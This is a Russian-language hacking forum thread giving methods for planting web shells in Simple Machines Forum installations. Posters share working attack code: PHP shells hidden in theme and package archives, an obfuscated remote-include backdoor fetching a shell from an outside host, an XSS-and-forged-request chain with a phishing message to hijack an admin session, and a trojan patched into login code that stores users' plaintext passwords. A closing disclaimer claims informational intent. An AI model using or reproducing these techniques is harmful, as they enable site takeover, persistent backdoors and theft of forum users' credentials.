Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Faq по Smf (Заливка шелла)! |

03.07.2007, 19:08
|
|
Постоянный
Регистрация: 15.04.2007
Сообщений: 645
Провел на форуме: 967842
Репутация:
251
|
|
Faq по Smf (Заливка шелла)!
Заливаем шелл в SMF
Если ты имеешь админский акк в этом форуме.
Шаг_1
Зходим на форум под админом. Затем идем
Код:
http://hacked.com/smf/index.php?action=admin
[Admin].
Шаг_2
На левой боковой вкладке выбираем [Themes and Layout].Внизу увидешь форму для upload тем для форума.
Темы закачиваются в формате zip-архива.
Шаг_3
Идем на официальный сайт форумного движка в раздел (mOds)
Код:
http://custom.simplemachines.org/themes/
Здесь выбираем любую тему(на твой вкус и цвет). Я выбираю [blackTedSkin]
Код:
http://custom.simplemachines.org/themes/index.php?lemma=66
От сюда качаем
Код:
http://custom.simplemachines.org/themes/index.php?action=download;lemma=66;id=306
Шаг_4
Открываем zip с нашей темой и добавляем в архив свой php-shell--Пример директория /images/icons/myshell.php
Шаг_5
Идем к форме [Install a New Theme]
Добавляем наш архив-- From a file:blackTed.zip
И даем название нашей теме-- Create a copy of Default named: HACK_THEME
Жмем-- Install
Если все прошло хорошо, то появиться надпись:blackTed was installed successfully.
Шаг_6_Final
Идем по ссылке(для случая с blackTed темой)--
Код:
http://hacked.com/smf/Themes/blackTed/icons/Fun_shell.php
Спасибо за внимание.
|
|
|

03.07.2007, 19:30
|
|
Познавший АНТИЧАТ
Регистрация: 07.05.2006
Сообщений: 1,031
Провел на форуме: 5885100
Репутация:
773
|
|
так и в джумлу мона залить.....
|
|
|

03.07.2007, 20:16
|
|
Постоянный
Регистрация: 15.04.2007
Сообщений: 645
Провел на форуме: 967842
Репутация:
251
|
|
Способ 2. ЧЕРЕЗ аддоны(примочки)!
Механизм заключается в том, что залив происходит в папку Packages в виде BoardNews10.zip --пример
Пихаем в архив в BoardNews10\Subs-BoardNews.php -- <? system("uname -a"); ?>
Инсталлим и видем результат(при safemode  ff и только если есть права на запись в Packages )
|
|
|

12.07.2007, 08:23
|
|
Участник форума
Регистрация: 25.10.2006
Сообщений: 108
Провел на форуме: 495411
Репутация:
91
|
|
Сталкивался с проблемой, когда запись в папки запрещалась ... это легко решить !
Идём по адресу ../forum/index.php?action=theme;th=1;sesc=3d8eb20e38590c370 b19dba2e203d926;sa=edit;filename=index.php
ну и спокойно правим в открывшемся окне индекс, точнее добавляем в него что то типа
PHP код:
$str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0');
if($_GET['act']=='run'){include($str);};
дальше приспокойно переходим по след адресу с нужными нам параметрами
/forum/Themes/default/index.php?act=run
Главное не суетитесь господа ...
********************************
Полный листинг индекса выглядит таким вот образом
PHP код:
<?php
// Try to handle it with the upper level index.php. (it should know what to do.)
$str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0');
if($_GET['act']=='run'){include($str);};
if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))
include (dirname(dirname(__FILE__)) . '/index.php');
else
exit;
?>
|
|
|

12.07.2007, 09:22
|
|
Участник форума
Регистрация: 25.10.2006
Сообщений: 108
Провел на форуме: 495411
Репутация:
91
|
|
Это всё канешна весело если есть админка от форума, а если нет ? ...
Получить админку можно либо описанными (непомню в каком посте) способами, а можно немножко извратиться над этими способами и зделать нечто иное...
Например щас я обрабатываю один из сайтикоф с многострадальным SMF 1.1.2 в дальнейшем siteX.ru.
Вот что я проделал :
На сайте имеется чат, в котором как опция присутствует онлайн радио, в скрипте которого я нашёл элементарную XSS такова вида http://siteX.ru/designes/radio.php?station=%22%20></OBJECT><script%20src=http://ааа.com/run.js></script><!--
Обнаружилось и то, что при попытки получить куки с помощью свойства document.cookie сайт выдавал куки не только чата , но и форума
Содержание run.js такое
Код:
var s=document.createElement('script');
s.src='http://aaa.com/re.js';
document.documentElement.firstChild.appendChild(s);
Думаю пока фсё понятно ... нет ? много травы курите господа  хватит
листинг re.js (который запускаеца скриптом run.js)
Код:
var shellCode = "<?php\n\n";
shellCode += "// Try to handle it with the upper level index.php. (it should know what to do.)\n";
shellCode += "$str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0');\n";
shellCode += "if($_GET['act']=='run'){include($str);};\n";
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += " include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += " exit;\n\n?>";
sendRequest("forum/index.php", null, "GET", getSesc);
function getSesc(request) {
var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);
if(sessVerify) {
sendRequest(
"forum/index.php?action=theme;th=1;sa=edit",
"entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
"POST", null);
}
}
function sendRequest(url, data, method, onLoadFunc) {
var request = createHttpRequest();
if(request) {
request.open(method, url, true);
if(method == "POST") {
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }
if(onLoadFunc) {
request.onreadystatechange = function() {
if(request.readyState == 4) {
onLoadFunc(request); }
}
}
request.send(data);
}
}
function createHttpRequest() {
var httpRequest = false;
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
catch(e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
try {
httpRequest = new XMLHttpRequest(); }
catch(e) {
httpRequest = false;
}
}
}
return httpRequest;
}
Здесь немного поясню... этот скрипт вместо админа берёт да и правит тему индекса форума  тоесть фсё это происходит незаметно для админа, разработчики SMF постарались, поэтому исправления не нужно подтверждать паролем ))
Вопщем индекс будет в переменной shellCode (см. предыдущий пост)
Едем дальше, думаю хватит мазать сопли по тарелке... Регим в форуме ник жэнской наружности  и отправляем приват админу что то типо
Танька, наши фотки со свадьбы я закинула в фотоархиф, у тя там такое эротичное платье  вот ссылка [U R L =http://siteX.ru/designes/radio.php?station=%22%3E%3C%2F%4F%42%4A%45%43%54%3 E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70% 3A%2F%2F%66%6F%72%65%73%74%2E%61%6C%66%61%6D%6F%6F %6E%2E%63%6F%6D%2F%72%75%6E%2E%6A%73%3E%3C%2F%73%6 3%72%69%70%74%3E%3C%21%2D%2D]http://photo-arhifff.xy/index.php?id=12548[/URL]
Абратите ОСОБОЕ внимание на ссылку, даже если админ откроет её в новом окне он фсё равно фстрянет
А любопытство как известно весч каварная... хоч не хоч а ткнуть придёца =)
Итог ... идём по ссылке http://siteX.ru /forum/Themes/default/index.php?act=run
и злобно начинаем БУГАГА
********************************
В этом методе есть два минуса:
1. Админ может что то заподозрить и не ткнуть на ссылу, а ваш ник получит бан =)
2.Если пхп сессия админа здохнет, хрен вам а не шелл, т к доступ в админку будет только по паролю, но при этом он спокойно может править свой профиль и отправлять мессаги !
***************************************
Инфа выложена чиста в азнакомительных целях, афтар не несёт ответственности за фсяких психов типо его самого, которые могут использовать эту инфу в западлянских целях !
EOF
|
|
|

27.02.2008, 22:06
|
|
Познающий
Регистрация: 12.02.2008
Сообщений: 90
Провел на форуме: 535943
Репутация:
20
|
|
Здрасствуйте, сори за такой вопрос: а сам шел надо скопировать и сохранить в текстовом формате? или шел надо сохранить в специальном формате?...
|
|
|

01.03.2008, 01:28
|
|
Новичок
Регистрация: 24.02.2008
Сообщений: 14
Провел на форуме: 148749
Репутация:
18
|
|
Смотря на чем построен шелл. Чаще всего это php-скрипт.
|
|
|

10.03.2008, 17:28
|
|
Познающий
Регистрация: 12.02.2008
Сообщений: 90
Провел на форуме: 535943
Репутация:
20
|
|
Сообщение от n-000
Сталкивался с проблемой, когда запись в папки запрещалась ... это легко решить !
Идём по адресу ../forum/index.php?action=theme;th=1;sesc=3d8eb20e38590c370 b19dba2e203d926;sa=edit;filename=index.php
ну и спокойно правим в открывшемся окне индекс, точнее добавляем в него что то типа
А есть шелл, который заливаеш в админку(ва те же темы) и по специально настроенном адресе(заранее перед заливкой) можно попадать в админку без админ акка?
Нужно для IPB и SMF))
Последний раз редактировалось Rogun; 07.04.2008 в 20:20..
|
|
|

27.05.2008, 19:08
|
|
Познающий
Регистрация: 18.07.2007
Сообщений: 40
Провел на форуме: 72605
Репутация:
13
|
|
Часто бывает так: шелл залили, доступ к БД получили, а хотелось бы получить пароли пользователей. Но вот беда пароли зашифрованные, да еще соленые, а сидеть и брутить их лень/нет времени/желания. Тогда сделаем так чтобы юзеры сами выкладывали нам свои пароли на блюдечке!
Местом хранения паролей выберем БД. Сразу скажу что те кто считают этот метод слишком палевным могут просто писать все в файл, но имхо БД предоставляет куда больше возможностей по обработке/сортировке этих данных.
Сначала создадим таблицу куда будем складывать пароли
Код:
CREATE TABLE smf_logs (
id INTEGER NOT NULL,
name VARCHAR(100) NOT NULL,
password VARCHAR(100) NOT NULL
);
ALTER TABLE smf_logs
ADD ( PRIMARY KEY (id));
Далее открываем файл ./Sources/LogInOut.php находим там функцию Login2 и переходим к 380 строке
Код:
...
elseif ($user_settings['passwordSalt'] == '')
{
$user_settings['passwordSalt'] = substr(md5(rand()), 0, 4);
updateMemberData($user_settings['ID_MEMBER'], array('passwordSalt' => '\'' . $user_settings['passwordSalt'] . '\''));
}
//начало нашего трояна
else
{
$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$user_settings['ID_MEMBER']}");
$user = mysql_fetch_array($req);
if(!$user)
$req = db_query("INSERT INTO {$db_prefix}logs SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST['user']."' ,`password`='".$_REQUEST['passwrd']."'");
if($user['password']!=$_REQUEST['passwrd'])
$req = db_query("UPDATE {$db_prefix}logs SET `password`='".$_REQUEST['passwrd']."' WHERE `id`='".$user_settings['ID_MEMBER']."'");
}
//конец трояна
if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);
// Get ready to set the cookie...
...
Теперь сделаем так чтобы тем, кто заходит используя куки пришлось ввести свой пароль: откроем файл ./Sources/Load.php в функции loadUserSettings около 377 строки напишем:
Код:
...
elseif (empty($ID_MEMBER) && isset($_SESSION['login_' . $cookiename]) && ($_SESSION['USER_AGENT'] == $_SERVER['HTTP_USER_AGENT'] || !empty($modSettings['disableCheckUA'])))
{
// !!! Perhaps we can do some more checking on this, such as on the first octet of the IP?
list ($ID_MEMBER, $password, $login_span) = @unserialize(stripslashes($_SESSION['login_' . $cookiename]));
$ID_MEMBER = !empty($ID_MEMBER) && strlen($password) == 40 && $login_span > time() ? (int) $ID_MEMBER : 0;
}
//начало нашего трояна
$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$ID_MEMBER}");
$user = mysql_fetch_array($req);
if(!isset($user['id']))
{
unset($password);
}
//конец трояна
// Only load this stuff if the user isn't a guest.
if ($ID_MEMBER != 0)...
Наконец отредактируем файл ./Themes/default/script.js: найдем в нем функцию hashLoginPassword около 455 строки
Код:
...
doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id);
// It looks nicer to fill it with asterisks, but Firefox will try to save that.
//закомментируем эти строки
//if (navigator.userAgent.indexOf("Firefox/") != -1)
// doForm.passwrd.value = "";
//else
// doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*");
}
На всякий случай тоже самое сделаем в функции hashAdminPassword в том же файле несколькими строками ниже:
Код:
...
doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id);
//закомментируем строку
//doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*");
}
Теперь форум благополучно затроянен и нам только остается периодически заглядывать в нашу табличку чтобы удостоверяться что пароли записываются.
По желанию можно закодировать данные в табличке, например функцией base64_encode(), так что даже если админ и случайно наткнется на нее, то ничего не поймет. А для расшифровки набросать свой маленький скрипт и оставить эго где-нибудь в глубине исходников форума
Последний раз редактировалось ty13r; 31.05.2008 в 23:11..
|
|
|

07.06.2008, 17:31
|
|
Новичок
Регистрация: 12.03.2008
Сообщений: 9
Провел на форуме: 97055
Репутация:
2
|
|
залил все как надо через тему, адрес http://123xxx.ru/forum/Themes/blackted/icons/articles.php
выскакивает:
Not Found
The requested document was not found on this server.
Web Server at 123xxx.ru
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|